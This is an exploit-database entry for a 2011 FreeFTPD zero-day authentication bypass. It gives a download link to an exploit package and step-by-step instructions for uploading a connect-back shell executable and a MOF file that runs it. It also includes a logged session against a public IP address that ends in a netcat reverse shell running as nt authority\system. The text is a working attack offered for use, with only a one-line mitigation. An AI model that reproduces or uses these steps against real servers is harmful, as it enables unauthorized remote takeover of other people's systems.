FreeFTPD all versions Remote System Level Exploit Zero-Day

vendor:

FreeFTPD

by:

Kingcope

9,3

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: FreeFTPD

Affected Version From: All versions

Affected Version To: All versions

Patch Exists: YES

Related CWE: N/A

CPE: //a:freeftpd

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2011

FreeFTPD all versions Remote System Level Exploit Zero-Day

This exploit allows attackers to bypass authentication and gain system level access to FreeFTPD servers. The exploit uses a modified version of ssh.exe to bypass authentication, and then uploads nullevent.exe, MSVCR100.dll, and nullevent.mof to the server. The nullevent.mof file is then used to execute the connect back shell, which will connect back to the attacker's netcat listener after 1 minute.

Mitigation:

Ensure that all FreeFTPD servers are updated to the latest version, and that authentication is enabled.

Source

Exploit-DB raw data:

FreeFTPD all versions Remote System Level Exploit Zero-Day -- No username needed, straightforward rooting!
Discovered & Exploited By Kingcope
Year 2011
--

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23079.zip

Example banner: WeOnlyDo-wodFTPD 2.3.6.165

This package includes all you need to successfully root any version of FreeFTPD:

* Modified version of ssh.exe (FreeFTPD authentication bypass)
* sftp.exe for connecting to the server
* nullevent.exe connect back shell that is uploaded to the server
* nullevent.mof file which is uploaded to the server to execute the connect back shell
* MSVCR100.dll that is needed by nullevent.exe 
* scan logs for your pleasure!

We make use of the STUXNET technique to execute code, So let's go:

1.) Setup a netcat on a host you have, firewall open on the listening port
2.) modify nullevent.mof in an editor (where the ip and port is) according to your netcat config
3.) connect to the FreeSSHD: sftp.exe -S ./ssh.exe <ip/host>
4.) upload (put) nullevent.exe: put nullevent.exe
5.) upload (put) MSVCR100.dll: put MSVCR100.dll
6.) upload (put) nullevent.mof to wbem/mof/nullevent.mof: put nullevent.mof wbem/mof/nullevent.mof
7.) Enjoy your system shell which will blink up on you netcat after 1 minute!!
8.) Cleanup by deleting nullevent.exe located in c:\windows\system32\
8.)  Enjoy!
9.)  Enjoy!
10.) Enjoy!

Example exploitation session:

C:\Users\KC\Desktop\FreeFTPD_0day>sftp -S ./ssh.exe 83.241.214.171
Could not create directory '/home/KC/.ssh'.
The authenticity of host '83.241.214.171 (83.241.214.171)' can't be established.
RSA key fingerprint is a8:ba:6d:0a:c6:ae:8b:a1:b6:47:7b:43:a8:de:4b:8e.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/KC/.ssh/known_hosts).
Connected to 83.241.214.171.
sftp> put nullevent.exe
Uploading nullevent.exe to /nullevent.exe
nullevent.exe                                                                         100% 7168     7.0KB/s   00:00
sftp> put MSVCR100.dll
Uploading MSVCR100.dll to /MSVCR100.dll
MSVCR100.dll                                                                          100%  751KB  22.8KB/s   00:33
sftp> put nullevent.mof wbem/mof/nullevent.mof
Uploading nullevent.mof to /wbem/mof/nullevent.mof
nullevent.mof                                                                         100%  691     0.7KB/s   00:00
sftp>

[root@vs2067037 ~]# nc -v -l 443
Connection from 83.231.224.193 port 443 [tcp/https] accepted
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
nt authority\system